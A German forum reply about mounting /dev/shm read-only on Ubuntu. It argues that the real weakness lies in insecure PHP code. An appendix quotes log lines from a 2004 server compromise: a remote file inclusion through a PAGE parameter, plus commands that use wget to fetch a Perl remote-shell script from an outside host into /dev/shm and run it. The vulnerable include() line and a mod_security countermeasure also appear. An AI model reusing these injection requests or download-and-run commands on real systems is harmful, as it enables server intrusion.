AgK hat geschrieben:
@otzenpunk: Mit "noexec, nodev" ist beim Start der gleiche Fehler wie bei "defaults,ro".
Dann probier mal nur noexec.
AgK hat geschrieben:
@user unkown: Wenn ich die Optionen "defaults,mode=ro" setze kommt beim Start folgender Fehler:
tmpfs: Bad value 'ro' for mount option 'mode'.
mode bezeichnet Dateisystemrechte. Standardmäßig sind das 1777, die Rechte von /tmp. Mit mode=755 kannst du bspw. allen außer Root die Schreibrechte entziehen.
AgK hat geschrieben:
dev/shm ist bei mir ebenfalls leer. Warum bekomme ich diese Fehlermeldungen? Ich hätte es schon gern read-only gemountet, weil es ja anscheinend nicht gebraucht wird.
Wenn es nicht gebraucht würde, würde es auch keine Fehlermeldungen geben. Und nur weil es anscheinend die meiste Zeit leer ist, heißt das nicht, dass das immer so ist. Irgendeinen Sinn wird das Ding schon haben, warum sollte sich jemand sonst die Mühe machen, ein Startskript dafür zu schreiben? Und nochmal: /tmp hat genau dieselben Eigenschaften, wird auch von Crackern für denselben Zweck benutzt, und das kannst du auch nicht read-only mounten. Und wenn du es doch tust, findet der Cracker mit etwas rumprobieren halt irgendeinen anderen Ort, wo der Webserver schreiben darf. Der Fehler liegt aber nicht in /tmp oder /dev/shm, sondern bspw. in PHP-Skripten, die keine ausreichende Überprüfung ihrer Argumente durchführen. Dagegen hilft nur: Ordentlich programmieren. Wenn du nachlässigen Leuten (Kunden, etc.) aber nicht das Programmieren verbieten kannst, kannst du bspw. den String "/dev/shm" im Apachen über mod_security sperren (und /tmp gleich mit) oder andere Maßnahmen treffen.
AgK hat geschrieben:
Die Sache steht im englischen Wiki schon seit Hoary. Bei Hoary und Breezy hatte ich keine Probleme. Klappt es wie im Wiki beschrieben bei Jemandem der auch Dapper nutzt?
Meine Meinung: Der "Tipp" aus dem englischen Wiki ist unbrauchbar. Jemand hat halt eine Meldung über einen Exploit gelesen, wusste nicht wofür er /dev/shm braucht, und hat es gesperrt. Und da es auf seinem damaligen Betriebssystem, mit seiner damaligen Softwareauswahl keine Probleme gab, hat er es halt ins Wiki geschrieben.
Logisch betrachtet macht es überhaupt keinen Sinn, ein leeres Dateisystem read-only zu mounten, da dann auch nie etwas reingeschrieben werden kann. Wenn man es gar nicht braucht, wäre es viel sinnvoller, die entsprechenden Zeilen in /etc/init.d/mountdevsubfs auszukommentieren, so dass es gar nicht erst erzeugt wird. (Oder zum Ende des Bootvorgangs in /etc/rc.local einfach zu umounten, wenn man nicht in den Systemskripten rumfummeln will.)
Anhang:
So wurde der Server im oben verlinkten Thread geknackt:
/index.php?PAGE=http://input.crackrock.cc/all/hkz.txt?
&cmd=cd%20/dev/shm;wget%20http://members.lycos.co.uk/lotsen5k/.shell HTTP/1.1" 200 10473
66.119.34.39 - - [08/Jul/2004:20:14:15 -0700] "GET /index.php?PAGE=http://input.crackrock.cc/all/hkz.txt?
&cmd=cd%20/dev/shm;perl%20.shell HTTP/1.1" 200 10068
Der Angreifer benutzt Cross Site Scripting, um mit das fehlerhafte PHP-Skript des Zielrechners folgende Befehle ausführen zu lassen, die von einem Skript auf input.crackrock.cc, dem Rechner des Angreifers, diktiert werden:
cd /dev/shm; wget http://members.lycos.co.uk/lotsen5k/.shell
cd /dev/shm;perl .shell
.shell ist ein Perl-Skript, dass offensichtlich eine Remote-Shell zum Angreiferrechner öffnet. Das Verzeichnis, wohin dieses geladen wurde, (dev/shm) ist im Grunde nebensächlich.
Der Fehler war folgender:
Thanks for the reply. I am abit relieved to say I've found the point of
entry via an include() injection.
The code was:
include($PAGE.".php");
On one of the custom scripts on the server.
Since remote fopen and register globals was enabled, this was injectable
via passing:
index.php?page=http://remote.server.com/exploit
which expands to include("http://remote.server.com/exploit.php")
If the remote server served the php file as plain text, the script would
be included and executed.
Und hier der richtige Lösungsansatz, anstatt einfach unverstandene Funktionalität des Betriebssystems zu deaktivieren oder einzuschränken:
I've now got to find away to disable remote file includes, while keeping
the remote fopen functionality, which is required by some of the scripts
on the server.
Definitly going to get mod_security logging any php requests with "://"
in the get, post, or even cookie.